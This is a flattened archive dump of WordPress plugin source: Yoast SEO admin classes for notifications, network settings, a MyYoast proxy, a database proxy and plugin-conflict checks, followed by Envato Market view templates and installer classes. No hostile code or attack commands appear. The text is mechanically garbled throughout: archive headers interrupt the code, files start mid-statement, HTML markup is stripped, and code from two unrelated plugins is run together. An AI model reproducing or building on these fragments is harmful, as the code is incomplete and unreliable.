input. * * Note that this function does not handle nonce verification. * * @param string $key Key to retrieve. * * @return string non-sanitized value of key if set, an empty string otherwise. */ private static function get_user_input( $key ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information and only using this variable in a comparison. $request_method = isset( $_SERVER['REQUEST_METHOD'] ) && is_string( $_SERVER['REQUEST_METHOD'] ) ? strtoupper( wp_unslash( $_SERVER['REQUEST_METHOD'] ) ) : ''; // phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: This function does not sanitize variables. // phpcs:disable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing -- Reason: This function does not verify a nonce. if ( $request_method === 'POST' ) { if ( isset( $_POST[ $key ] ) && is_string( $_POST[ $key ] ) ) { return wp_unslash( $_POST[ $key ] ); } } elseif ( isset( $_GET[ $key ] ) && is_string( $_GET[ $key ] ) ) { return wp_unslash( $_GET[ $key ] ); } // phpcs:enable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized return ''; } /** * Retrieve the notifications from storage and fill the relevant property. * * @param int $user_id The ID of the user to retrieve notifications for. * * @return void */ private function retrieve_notifications_from_storage( $user_id ) { if ( $this->notifications_retrieved ) { return; } $this->notifications_retrieved = true; $stored_notifications = get_user_option( self::STORAGE_KEY, $user_id ); // Check if notifications are stored. if ( empty( $stored_notifications ) ) { return; } if ( is_array( $stored_notifications ) ) { $notifications = array_map( [ $this, 'array_to_notification' ], $stored_notifications ); // Apply array_values to ensure we get a 0-indexed array. $notifications = array_values( array_filter( $notifications, [ $this, 'filter_notification_current_user' ] ) ); $this->notifications[ $user_id ] = $notifications; } } /** * Sort on type then priority. * * @param Yoast_Notification $a Compare with B. * @param Yoast_Notification $b Compare with A. * * @return int 1, 0 or -1 for sorting offset. */ private function sort_notifications( Yoast_Notification $a, Yoast_Notification $b ) { $a_type = $a->get_type(); $b_type = $b->get_type(); if ( $a_type === $b_type ) { return WPSEO_Utils::calc( $b->get_priority(), 'compare', $a->get_priority() ); } if ( $a_type === 'error' ) { return -1; } if ( $b_type === 'error' ) { return 1; } return 0; } /** * Clear local stored notifications. * * @return void */ private function clear_notifications() { $this->notifications = []; $this->notifications_retrieved = false; } /** * Filter out non-persistent notifications. * * @since 3.2 * * @param Yoast_Notification $notification Notification to test for persistent. * * @return bool */ private function filter_persistent_notifications( Yoast_Notification $notification ) { return $notification->is_persistent(); } /** * Filter out dismissed notifications. * * @param Yoast_Notification $notification Notification to check. * * @return bool */ private function filter_dismissed_notifications( Yoast_Notification $notification ) { return ! self::maybe_dismiss_notification( $notification ); } /** * Convert Notification to array representation. * * @since 3.2 * * @param Yoast_Notification $notification Notification to convert. * * @return array */ private function notification_to_array( Yoast_Notification $notification ) { $notification_data = $notification->to_array(); if ( isset( $notification_data['nonce'] ) ) { unset( $notification_data['nonce'] ); } return $notification_data; } /** * Convert stored array to Notification. * * @param array $notification_data Array to convert to Notification. * * @return Yoast_Notification */ private function array_to_notification( $notification_data ) { if ( isset( $notification_data['options']['nonce'] ) ) { unset( $notification_data['options']['nonce'] ); } if ( isset( $notification_data['message'] ) && is_subclass_of( $notification_data['message'], Abstract_Presenter::class, false ) ) { $notification_data['message'] = $notification_data['message']->present(); } if ( isset( $notification_data['options']['user'] ) ) { $notification_data['options']['user_id'] = $notification_data['options']['user']->ID; unset( $notification_data['options']['user'] ); $this->notifications_need_storage = true; } return new Yoast_Notification( $notification_data['message'], $notification_data['options'] ); } /** * Filter notifications that should not be displayed for the current user. * * @param Yoast_Notification $notification Notification to test. * * @return bool */ private function filter_notification_current_user( Yoast_Notification $notification ) { return $notification->display_for_current_user(); } /** * Checks if given notification is persistent. * * @param Yoast_Notification $notification The notification to check. * * @return bool True when notification is not persistent. */ private function is_notification_persistent( Yoast_Notification $notification ) { return ! $notification->is_persistent(); } /** * Queues a notification transaction for later execution if notifications are not yet set up. * * @param callable $callback Callback that performs the transaction. * @param array $args Arguments to pass to the callback. * * @return bool True if transaction was queued, false if it can be performed immediately. */ private function queue_transaction( $callback, $args ) { if ( $this->notifications_retrieved ) { return false; } $this->add_transaction_to_queue( $callback, $args ); return true; } /** * Adds a notification transaction to the queue for later execution. * * @param callable $callback Callback that performs the transaction. * @param array $args Arguments to pass to the callback. * * @return void */ private function add_transaction_to_queue( $callback, $args ) { $this->queued_transactions[] = [ $callback, $args ]; } /** * Removes all notifications from storage. * * @return bool True when notifications got removed. */ protected function remove_storage() { if ( ! $this->has_stored_notifications() ) { return false; } delete_user_option( get_current_user_id(), self::STORAGE_KEY ); return true; } /** * Checks if there are stored notifications. * * @return bool True when there are stored notifications. */ protected function has_stored_notifications() { $stored_notifications = $this->get_stored_notifications(); return ! empty( $stored_notifications ); } /** * Retrieves the stored notifications. * * @codeCoverageIgnore * * @return array|false Array with notifications or false when not set. */ protected function get_stored_notifications() { return get_user_option( self::STORAGE_KEY, get_current_user_id() ); } } class-admin-utils.php000064400000004224147207033440010614 0ustar00%s', $install_url, $plugin['title'] ); } /** * Gets a visually hidden accessible message for links that open in a new browser tab. * * @return string The visually hidden accessible message. */ public static function get_new_tab_message() { return sprintf( '%s', /* translators: Hidden accessibility text. */ esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) ); } } class-yoast-network-settings-api.php000064400000010264147207033440013622 0ustar00 $option_group, 'sanitize_callback' => null, ]; $args = wp_parse_args( $args, $defaults ); if ( ! isset( $this->whitelist_options[ $option_group ] ) ) { $this->whitelist_options[ $option_group ] = []; } $this->whitelist_options[ $option_group ][] = $option_name; if ( ! empty( $args['sanitize_callback'] ) ) { add_filter( "sanitize_option_{$option_name}", [ $this, 'filter_sanitize_option' ], 10, 2 ); } if ( array_key_exists( 'default', $args ) ) { add_filter( "default_site_option_{$option_name}", [ $this, 'filter_default_option' ], 10, 2 ); } $this->registered_settings[ $option_name ] = $args; } /** * Gets the registered settings and their data. * * @return array Array of $option_name => $data pairs. */ public function get_registered_settings() { return $this->registered_settings; } /** * Gets the whitelisted options for a given option group. * * @param string $option_group Option group. * * @return array List of option names, or empty array if unknown option group. */ public function get_whitelist_options( $option_group ) { if ( ! isset( $this->whitelist_options[ $option_group ] ) ) { return []; } return $this->whitelist_options[ $option_group ]; } /** * Filters sanitization for a network option value. * * This method is added as a filter to `sanitize_option_{$option}` for network options that are * registered with a sanitize callback. * * @param string $value The sanitized option value. * @param string $option The option name. * * @return string The filtered sanitized option value. */ public function filter_sanitize_option( $value, $option ) { if ( empty( $this->registered_settings[ $option ] ) ) { return $value; } return call_user_func( $this->registered_settings[ $option ]['sanitize_callback'], $value ); } /** * Filters the default value for a network option. * * This function is added as a filter to `default_site_option_{$option}` for network options that * are registered with a default. * * @param mixed $default_value Existing default value to return. * @param string $option The option name. * * @return mixed The filtered default value. */ public function filter_default_option( $default_value, $option ) { // If a default value was manually passed to the function, allow it to override. if ( $default_value !== false ) { return $default_value; } if ( empty( $this->registered_settings[ $option ] ) ) { return $default_value; } return $this->registered_settings[ $option ]['default']; } /** * Checks whether the requirements to use this class are met. * * @return bool True if requirements are met, false otherwise. */ public function meets_requirements() { return is_multisite(); } /** * Gets the singleton instance of this class. * * @return Yoast_Network_Settings_API The singleton instance. */ public static function get() { if ( self::$instance === null ) { self::$instance = new self(); } return self::$instance; } } class-my-yoast-proxy.php000064400000014217147207033440011332 0ustar00is_proxy_page() ) { return; } // Register the page for the proxy. add_action( 'admin_menu', [ $this, 'add_proxy_page' ] ); add_action( 'admin_init', [ $this, 'handle_proxy_page' ] ); } /** * Registers the proxy page. It does not actually add a link to the dashboard. * * @codeCoverageIgnore * * @return void */ public function add_proxy_page() { add_dashboard_page( '', '', 'read', self::PAGE_IDENTIFIER, '' ); } /** * Renders the requested proxy page and exits to prevent the WordPress UI from loading. * * @codeCoverageIgnore * * @return void */ public function handle_proxy_page() { $this->render_proxy_page(); // Prevent the WordPress UI from loading. exit; } /** * Renders the requested proxy page. * * This is separated from the exits to be able to test it. * * @return void */ public function render_proxy_page() { $proxy_options = $this->determine_proxy_options(); if ( $proxy_options === [] ) { // Do not accept any other file than implemented. $this->set_header( 'HTTP/1.0 501 Requested file not implemented' ); return; } // Set the headers before serving the remote file. $this->set_header( 'Content-Type: ' . $proxy_options['content_type'] ); $this->set_header( 'Cache-Control: max-age=' . self::CACHE_CONTROL_MAX_AGE ); try { echo $this->get_remote_url_body( $proxy_options['url'] ); } catch ( Exception $e ) { /* * Reset the file headers because the loading failed. * * Note: Due to supporting PHP 5.2 `header_remove` can not be used here. * Overwrite the headers instead. */ $this->set_header( 'Content-Type: text/plain' ); $this->set_header( 'Cache-Control: max-age=0' ); $this->set_header( 'HTTP/1.0 500 ' . $e->getMessage() ); } } /** * Tries to load the given url via `wp_remote_get`. * * @codeCoverageIgnore * * @param string $url The url to load. * * @return string The body of the response. * * @throws Exception When `wp_remote_get` returned an error. * @throws Exception When the response code is not 200. */ protected function get_remote_url_body( $url ) { $response = wp_remote_get( $url ); if ( $response instanceof WP_Error ) { throw new Exception( 'Unable to retrieve file from MyYoast' ); } if ( wp_remote_retrieve_response_code( $response ) !== 200 ) { throw new Exception( 'Received unexpected response from MyYoast' ); } return wp_remote_retrieve_body( $response ); } /** * Determines the proxy options based on the file and plugin version arguments. * * When the file is known it returns an array like this: * * $array = array( * 'content_type' => 'the content type' * 'url' => 'the url, possibly with the plugin version' * ) * * * @return array Empty for an unknown file. See format above for known files. */ protected function determine_proxy_options() { if ( $this->get_proxy_file() === 'research-webworker' ) { return [ 'content_type' => 'text/javascript; charset=UTF-8', 'url' => 'https://my.yoast.com/api/downloads/file/analysis-worker?plugin_version=' . $this->get_plugin_version(), ]; } return []; } /** * Checks if the current page is the MyYoast proxy page. * * @codeCoverageIgnore * * @return bool True when the page request parameter equals the proxy page. */ protected function is_proxy_page() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; return $page === self::PAGE_IDENTIFIER; } /** * Returns the proxy file from the HTTP request parameters. * * @codeCoverageIgnore * * @return string The sanitized file request parameter or an empty string if it does not exist. */ protected function get_proxy_file() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['file'] ) && is_string( $_GET['file'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET['file'] ) ); } return ''; } /** * Returns the plugin version from the HTTP request parameters. * * @codeCoverageIgnore * * @return string The sanitized plugin_version request parameter or an empty string if it does not exist. */ protected function get_plugin_version() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['plugin_version'] ) && is_string( $_GET['plugin_version'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $plugin_version = sanitize_text_field( wp_unslash( $_GET['plugin_version'] ) ); // Replace slashes to secure against requiring a file from another path. return str_replace( [ '/', '\\' ], '_', $plugin_version ); } return ''; } /** * Sets the HTTP header. * * This is a tiny helper function to enable better testing. * * @codeCoverageIgnore * * @param string $header The header to set. * * @return void */ protected function set_header( $header ) { header( $header ); } } class-database-proxy.php000064400000017004147207033440011311 0ustar00table_name = $table_name; $this->suppress_errors = (bool) $suppress_errors; $this->is_multisite_table = (bool) $is_multisite_table; $this->database = $database; // If the table prefix was provided, strip it as it's handled automatically. $table_prefix = $this->get_table_prefix(); if ( ! empty( $table_prefix ) && strpos( $this->table_name, $table_prefix ) === 0 ) { $this->table_prefix = substr( $this->table_name, strlen( $table_prefix ) ); } if ( ! $this->is_table_registered() ) { $this->register_table(); } } /** * Inserts data into the database. * * @param array $data Data to insert. * @param array|string|null $format Formats for the data. * * @return false|int Total amount of inserted rows or false on error. */ public function insert( array $data, $format = null ) { $this->pre_execution(); $result = $this->database->insert( $this->get_table_name(), $data, $format ); $this->post_execution(); return $result; } /** * Updates data in the database. * * @param array $data Data to update on the table. * @param array $where Where condition as key => value array. * @param array|string|null $format Optional. Data prepare format. * @param array|string|null $where_format Optional. Where prepare format. * * @return false|int False when the update request is invalid, int on number of rows changed. */ public function update( array $data, array $where, $format = null, $where_format = null ) { $this->pre_execution(); $result = $this->database->update( $this->get_table_name(), $data, $where, $format, $where_format ); $this->post_execution(); return $result; } /** * Upserts data in the database. * * Performs an insert into and if key is duplicate it will update the existing record. * * @param array $data Data to update on the table. * @param array|null $where Unused. Where condition as key => value array. * @param array|string|null $format Optional. Data prepare format. * @param array|string|null $where_format Optional. Where prepare format. * * @return false|int False when the upsert request is invalid, int on number of rows changed. */ public function upsert( array $data, ?array $where = null, $format = null, $where_format = null ) { if ( $where_format !== null ) { _deprecated_argument( __METHOD__, '7.7.0', 'The where_format argument is deprecated' ); } $this->pre_execution(); $update = []; $keys = []; $columns = array_keys( $data ); foreach ( $columns as $column ) { $keys[] = '`' . $column . '`'; $update[] = sprintf( '`%1$s` = VALUES(`%1$s`)', $column ); } $query = sprintf( 'INSERT INTO `%1$s` (%2$s) VALUES ( %3$s ) ON DUPLICATE KEY UPDATE %4$s', $this->get_table_name(), implode( ', ', $keys ), implode( ', ', array_fill( 0, count( $data ), '%s' ) ), implode( ', ', $update ) ); $result = $this->database->query( $this->database->prepare( $query, array_values( $data ) ) ); $this->post_execution(); return $result; } /** * Deletes a record from the database. * * @param array $where Where clauses for the query. * @param array|string|null $format Formats for the data. * * @return false|int */ public function delete( array $where, $format = null ) { $this->pre_execution(); $result = $this->database->delete( $this->get_table_name(), $where, $format ); $this->post_execution(); return $result; } /** * Executes the given query and returns the results. * * @param string $query The query to execute. * * @return array|object|null The resultset */ public function get_results( $query ) { $this->pre_execution(); $results = $this->database->get_results( $query ); $this->post_execution(); return $results; } /** * Creates a table to the database. * * @param array $columns The columns to create. * @param array $indexes The indexes to use. * * @return bool True when creation is successful. */ public function create_table( array $columns, array $indexes = [] ) { $create_table = sprintf( 'CREATE TABLE IF NOT EXISTS %1$s ( %2$s ) %3$s', $this->get_table_name(), implode( ',', array_merge( $columns, $indexes ) ), $this->database->get_charset_collate() ); $this->pre_execution(); $is_created = (bool) $this->database->query( $create_table ); $this->post_execution(); return $is_created; } /** * Checks if there is an error. * * @return bool Returns true when there is an error. */ public function has_error() { return ( $this->database->last_error !== '' ); } /** * Executed before a query will be ran. * * @return void */ protected function pre_execution() { if ( $this->suppress_errors ) { $this->last_suppressed_state = $this->database->suppress_errors(); } } /** * Executed after a query has been ran. * * @return void */ protected function post_execution() { if ( $this->suppress_errors ) { $this->database->suppress_errors( $this->last_suppressed_state ); } } /** * Returns the full table name. * * @return string Full table name including prefix. */ public function get_table_name() { return $this->get_table_prefix() . $this->table_name; } /** * Returns the prefix to use for the table. * * @return string The table prefix depending on the database context. */ protected function get_table_prefix() { if ( $this->is_multisite_table ) { return $this->database->base_prefix; } return $this->database->get_blog_prefix(); } /** * Registers the table with WordPress. * * @return void */ protected function register_table() { $table_name = $this->table_name; $full_table_name = $this->get_table_name(); $this->database->$table_name = $full_table_name; if ( $this->is_multisite_table ) { $this->database->ms_global_tables[] = $table_name; return; } $this->database->tables[] = $table_name; } /** * Checks if the table has been registered with WordPress. * * @return bool True if the table is registered, false otherwise. */ protected function is_table_registered() { if ( $this->is_multisite_table ) { return in_array( $this->table_name, $this->database->ms_global_tables, true ); } return in_array( $this->table_name, $this->database->tables, true ); } } class-plugin-conflict.php000064400000010055147207033440011462 0ustar00> */ protected $plugins = [ // The plugin which are writing OG metadata. 'open_graph' => Conflicting_Plugins::OPEN_GRAPH_PLUGINS, 'xml_sitemaps' => Conflicting_Plugins::XML_SITEMAPS_PLUGINS, 'cloaking' => Conflicting_Plugins::CLOAKING_PLUGINS, 'seo' => Conflicting_Plugins::SEO_PLUGINS, ]; /** * Overrides instance to set with this class as class. * * @param string $class_name Optional class name. * * @return Yoast_Plugin_Conflict */ public static function get_instance( $class_name = self::class ) { return parent::get_instance( $class_name ); } /** * After activating any plugin, this method will be executed by a hook. * * If the activated plugin is conflicting with ours a notice will be shown. * * @param string|bool $plugin Optional plugin basename to check. * * @return void */ public static function hook_check_for_plugin_conflicts( $plugin = false ) { // The instance of the plugin. $instance = self::get_instance(); // Only add the plugin as an active plugin if $plugin isn't false. if ( $plugin && is_string( $plugin ) ) { $instance->add_active_plugin( $instance->find_plugin_category( $plugin ), $plugin ); } $plugin_sections = []; // Only check for open graph problems when they are enabled. if ( WPSEO_Options::get( 'opengraph' ) ) { /* translators: %1$s expands to Yoast SEO, %2$s: 'Facebook' plugin name of possibly conflicting plugin with regard to creating OpenGraph output. */ $plugin_sections['open_graph'] = __( 'Both %1$s and %2$s create Open Graph output, which might make Facebook, X, LinkedIn and other social networks use the wrong texts and images when your pages are being shared.', 'wordpress-seo' ) . '

    ' . '' /* translators: %1$s expands to Yoast SEO. */ . sprintf( __( 'Configure %1$s\'s Open Graph settings', 'wordpress-seo' ), 'Yoast SEO' ) . ''; } // Only check for XML conflicts if sitemaps are enabled. if ( WPSEO_Options::get( 'enable_xml_sitemap' ) ) { /* translators: %1$s expands to Yoast SEO, %2$s: 'Google XML Sitemaps' plugin name of possibly conflicting plugin with regard to the creation of sitemaps. */ $plugin_sections['xml_sitemaps'] = __( 'Both %1$s and %2$s can create XML sitemaps. Having two XML sitemaps is not beneficial for search engines and might slow down your site.', 'wordpress-seo' ) . '

    ' . '' /* translators: %1$s expands to Yoast SEO. */ . sprintf( __( 'Toggle %1$s\'s XML Sitemap', 'wordpress-seo' ), 'Yoast SEO' ) . ''; } /* translators: %2$s expands to 'RS Head Cleaner' plugin name of possibly conflicting plugin with regard to differentiating output between search engines and normal users. */ $plugin_sections['cloaking'] = __( 'The plugin %2$s changes your site\'s output and in doing that differentiates between search engines and normal users, a process that\'s called cloaking. We highly recommend that you disable it.', 'wordpress-seo' ); /* translators: %1$s expands to Yoast SEO, %2$s: 'SEO' plugin name of possibly conflicting plugin with regard to the creation of duplicate SEO meta. */ $plugin_sections['seo'] = __( 'Both %1$s and %2$s manage the SEO of your site. Running two SEO plugins at the same time is detrimental.', 'wordpress-seo' ); $instance->check_plugin_conflicts( $plugin_sections ); } } class-yoast-notifications.php000064400000017204147207033440012376 0ustar00add_hooks(); } /** * Add hooks * * @return void */ private function add_hooks() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $page = sanitize_text_field( wp_unslash( $_GET['page'] ) ); if ( $page === self::ADMIN_PAGE ) { add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); } } // Needed for adminbar and Notifications page. add_action( 'admin_init', [ self::class, 'collect_notifications' ], 99 ); // Add AJAX hooks. add_action( 'wp_ajax_yoast_dismiss_notification', [ $this, 'ajax_dismiss_notification' ] ); add_action( 'wp_ajax_yoast_restore_notification', [ $this, 'ajax_restore_notification' ] ); } /** * Enqueue assets. * * @return void */ public function enqueue_assets() { $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_style( 'notifications' ); } /** * Handle ajax request to dismiss a notification. * * @return void */ public function ajax_dismiss_notification() { $notification = $this->get_notification_from_ajax_request(); if ( $notification ) { $notification_center = Yoast_Notification_Center::get(); $notification_center->maybe_dismiss_notification( $notification ); $this->output_ajax_response( $notification->get_type() ); } wp_die(); } /** * Handle ajax request to restore a notification. * * @return void */ public function ajax_restore_notification() { $notification = $this->get_notification_from_ajax_request(); if ( $notification ) { $notification_center = Yoast_Notification_Center::get(); $notification_center->restore_notification( $notification ); $this->output_ajax_response( $notification->get_type() ); } wp_die(); } /** * Create AJAX response data. * * @param string $type Notification type. * * @return void */ private function output_ajax_response( $type ) { $html = $this->get_view_html( $type ); // phpcs:disable WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe. echo WPSEO_Utils::format_json_encode( [ 'html' => $html, 'total' => self::get_active_notification_count(), ] ); // phpcs:enable -- Reason: WPSEO_Utils::format_json_encode is safe. } /** * Get the HTML to return in the AJAX request. * * @param string $type Notification type. * * @return bool|string */ private function get_view_html( $type ) { switch ( $type ) { case 'error': $view = 'errors'; break; case 'warning': default: $view = 'warnings'; break; } // Re-collect notifications. self::collect_notifications(); /** * Stops PHPStorm from nagging about this variable being unused. The variable is used in the view. * * @noinspection PhpUnusedLocalVariableInspection */ $notifications_data = self::get_template_variables(); ob_start(); include WPSEO_PATH . 'admin/views/partial-notifications-' . $view . '.php'; $html = ob_get_clean(); return $html; } /** * Extract the Yoast Notification from the AJAX request. * * This function does not handle nonce verification. * * @return Yoast_Notification|null A Yoast_Notification on success, null on failure. */ private function get_notification_from_ajax_request() { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: This function does not handle nonce verification. if ( ! isset( $_POST['notification'] ) || ! is_string( $_POST['notification'] ) ) { return null; } // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: This function does not handle nonce verification. $notification_id = sanitize_text_field( wp_unslash( $_POST['notification'] ) ); if ( empty( $notification_id ) ) { return null; } $notification_center = Yoast_Notification_Center::get(); return $notification_center->get_notification_by_id( $notification_id ); } /** * Collect the notifications and group them together. * * @return void */ public static function collect_notifications() { $notification_center = Yoast_Notification_Center::get(); $notifications = $notification_center->get_sorted_notifications(); self::$notification_count = count( $notifications ); self::$errors = array_filter( $notifications, [ self::class, 'filter_error_notifications' ] ); self::$dismissed_errors = array_filter( self::$errors, [ self::class, 'filter_dismissed_notifications' ] ); self::$active_errors = array_diff( self::$errors, self::$dismissed_errors ); self::$warnings = array_filter( $notifications, [ self::class, 'filter_warning_notifications' ] ); self::$dismissed_warnings = array_filter( self::$warnings, [ self::class, 'filter_dismissed_notifications' ] ); self::$active_warnings = array_diff( self::$warnings, self::$dismissed_warnings ); } /** * Get the variables needed in the views. * * @return array */ public static function get_template_variables() { return [ 'metrics' => [ 'total' => self::$notification_count, 'active' => self::get_active_notification_count(), 'errors' => count( self::$errors ), 'warnings' => count( self::$warnings ), ], 'errors' => [ 'dismissed' => self::$dismissed_errors, 'active' => self::$active_errors, ], 'warnings' => [ 'dismissed' => self::$dismissed_warnings, 'active' => self::$active_warnings, ], ]; } /** * Get the number of active notifications. * * @return int */ public static function get_active_notification_count() { return ( count( self::$active_errors ) + count( self::$active_warnings ) ); } /** * Filter out any non-errors. * * @param Yoast_Notification $notification Notification to test. * * @return bool */ private static function filter_error_notifications( Yoast_Notification $notification ) { return $notification->get_type() === 'error'; } /** * Filter out any non-warnings. * * @param Yoast_Notification $notification Notification to test. * * @return bool */ private static function filter_warning_notifications( Yoast_Notification $notification ) { return $notification->get_type() !== 'error'; } /** * Filter out any dismissed notifications. * * @param Yoast_Notification $notification Notification to test. * * @return bool */ private static function filter_dismissed_notifications( Yoast_Notification $notification ) { return Yoast_Notification_Center::is_notification_dismissed( $notification ); } } class_alias( Yoast_Notifications::class, 'Yoast_Alerts' ); view/callback/section/oauth.php000064400000002737147207143670012573 0ustar00

    ' . esc_html__( 'envato.com', 'envato-market' ) . '' ); ?>

    1. admin()->get_generate_token_url() . '" target="_blank">' . esc_html__( 'clicking this link', 'envato-market' ) . '' ); ?>
    view/callback/section/items.php000064400000001032147207143670012557 0ustar00

    view/callback/setting/token.php000064400000000612147207143670012572 0ustar00

    view/callback/setting/items.php000064400000003531147207143670012576 0ustar00get_option( 'items', array() ); ?>
      $item ) { if ( empty( $item['name'] ) || empty( $item['token'] ) || empty( $item['id'] ) || empty( $item['type'] ) || empty( $item['authorized'] ) ) { continue; } $class = 'success' === $item['authorized'] ? 'is-authorized' : 'not-authorized'; echo '
    • ' . esc_html__( 'ID', 'envato-market' ) . ': ' . esc_html( $item['id'] ) . ' - ' . esc_html( $item['name'] ) . '
    • '; } } ?>
    view/callback/admin.php000064400000002011147207143670011060 0ustar00

    downloads page' ); ?>

    view/notice/error-single-use.php000064400000000424147207143700012717 0ustar00

    view/notice/success.php000064400000000353147207143700011166 0ustar00

    view/notice/error.php000064400000000513147207143700010645 0ustar00

    view/notice/error-http.php000064400000000741147207143700011625 0ustar00

    view/notice/success-no-items.php000064400000000457147207143700012724 0ustar00

    view/notice/success-single-use.php000064400000000367147207143700013244 0ustar00

    view/notice/error-permissions.php000064400000001054147207143700013217 0ustar00

      get_required_permissions() as $permission ) { ?>
    view/notice/error-details.php000064400000000466147207143700012277 0ustar00

    Additional Error Details:
    %s.
    %s
    %s', esc_html( $title ), esc_html( $message ), esc_html( json_encode( $data ) ) ); ?>

    view/partials/plugins.php000064400000000726147207143700011541 0ustar00items()->plugins( 'purchased' ); ?>
    view/partials/intro.php000064400000001671147207143700011213 0ustar00

    get_version() ); ?>

    ', '' ); ?>

    view/partials/help.php000064400000005201147207143700011001 0ustar00

    Troubleshooting:

    If you’re having trouble with the plugin, please

    1. Confirm the old Envato Toolkit plugin is not installed.
    2. Confirm the latest version of WordPress is installed.
    3. Confirm the latest version of the Envato Market plugin is installed.
    4. Try creating a new API token has from the build.envato.com website - ensure only the following permissions have been granted
      • View and search Envato sites
      • Download your purchased items
      • List purchases you've made
    5. Check with the hosting provider to ensure the API connection to api.envato.com is not blocked.
    6. Check with the hosting provider that the minimum TLS version is 1.2 or above on the server.
    7. If you can’t see your items - check with the item author to confirm the Theme or Plugin is compatible with the Envato Market plugin.
    8. Confirm your Envato account is still active and the items are still visible from your downloads page.
    9. Note - if an item has been recently updated, it may take up to 24 hours for the latest version to appear in the Envato Market plugin.

    Health Check:

    Problem starting healthcheck. Please check javascript console for errors.

    Support:

    The Envato Market plugin is maintained - we ensure it works best on the latest version of WordPress and on a modern hosting platform, however we can’t guarantee it’ll work on all WordPress sites or hosting environments.

    If you’ve tried all the troubleshooting steps and you’re still unable to get the Envato Market plugin to work on your site/hosting, at this time, our advice is to remove the Envato Market plugin and instead visit the Downloads section of ThemeForest/CodeCanyon to download the latest version of your items.

    If you’re having trouble with a specific item from ThemeForest or CodeCanyon, it’s best you browse to the Theme or Plugin item page, visit the ‘support’ tab and follow the next steps.

    view/partials/tabs.php000064400000002724147207143700011011 0ustar00items()->themes( 'purchased' ); $plugins = envato_market()->items()->plugins( 'purchased' ); ?> view/partials/settings.php000064400000001760147207143700011717 0ustar00get_option( 'token' ); $items = envato_market()->get_option( 'items', array() ); ?>
    get_slug() ); ?> get_slug(), 2 ); ?>

    view/partials/themes.php000064400000000715147207143700011343 0ustar00items()->themes( 'purchased' ); ?>
    class-envato-market-theme-installer-skin.php000064400000011106147207143700015176 0ustar00upgrader->result['destination_name'] ) ) { return; } $theme_info = $this->upgrader->theme_info(); if ( empty( $theme_info ) ) { return; } $name = $theme_info->display( 'Name' ); $stylesheet = $this->upgrader->result['destination_name']; $template = $theme_info->get_template(); $activate_link = add_query_arg( array( 'action' => 'activate', 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), ), admin_url( 'themes.php' ) ); $activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet ); $install_actions = array(); if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { $install_actions['preview'] = '' . sprintf( __( 'Live Preview “%s”', 'envato-market' ), $name ) . ''; } if ( is_multisite() ) { if ( current_user_can( 'manage_network_themes' ) ) { $install_actions['network_enable'] = '' . __( 'Network Enable', 'envato-market' ) . ''; } } $install_actions['activate'] = '' . sprintf( __( 'Activate “%s”', 'envato-market' ), $name ) . ''; $install_actions['themes_page'] = '' . __( 'Return to Theme Installer', 'envato-market' ) . ''; if ( ! $this->result || is_wp_error( $this->result ) || is_multisite() || ! current_user_can( 'switch_themes' ) ) { unset( $install_actions['activate'], $install_actions['preview'] ); } if ( ! empty( $install_actions ) ) { $this->feedback( implode( ' | ', $install_actions ) ); } } } endif; if ( ! class_exists( 'Envato_Market_Plugin_Installer_Skin' ) ) : /** * Plugin Installer Skin. * * @class Envato_Market_Plugin_Installer_Skin * @version 1.0.0 * @since 1.0.0 */ class Envato_Market_Plugin_Installer_Skin extends Plugin_Installer_Skin { /** * Modify the install actions. * * @since 1.0.0 */ public function after() { $plugin_file = $this->upgrader->plugin_info(); $install_actions = array(); if ( current_user_can( 'activate_plugins' ) ) { $install_actions['activate_plugin'] = '' . __( 'Activate Plugin', 'envato-market' ) . ''; } if ( is_multisite() ) { unset( $install_actions['activate_plugin'] ); if ( current_user_can( 'manage_network_plugins' ) ) { $install_actions['network_activate'] = '' . __( 'Network Activate', 'envato-market' ) . ''; } } $install_actions['plugins_page'] = '' . __( 'Return to Plugin Installer', 'envato-market' ) . ''; if ( ! $this->result || is_wp_error( $this->result ) ) { unset( $install_actions['activate_plugin'], $install_actions['site_activate'], $install_actions['network_activate'] ); } if ( ! empty( $install_actions ) ) { $this->feedback( implode( ' | ', $install_actions ) ); } } } endif; class-envato-market-theme-upgrader.php000064400000003723147207143700014056 0ustar00strings['downloading_package'] = __( 'Downloading the Envato Market upgrade package…', 'envato-market' ); } /** * Initialize the install strings. * * @since 1.0.0 */ public function install_strings() { parent::install_strings(); $this->strings['downloading_package'] = __( 'Downloading the Envato Market install package…', 'envato-market' ); } } endif; if ( ! class_exists( 'Envato_Market_Plugin_Upgrader' ) ) : /** * Extends the WordPress Plugin_Upgrader class. * * This class makes modifications to the strings during install & upgrade. * * @class Envato_Market_Plugin_Upgrader * @version 1.0.0 * @since 1.0.0 */ class Envato_Market_Plugin_Upgrader extends Plugin_Upgrader { /** * Initialize the upgrade strings. * * 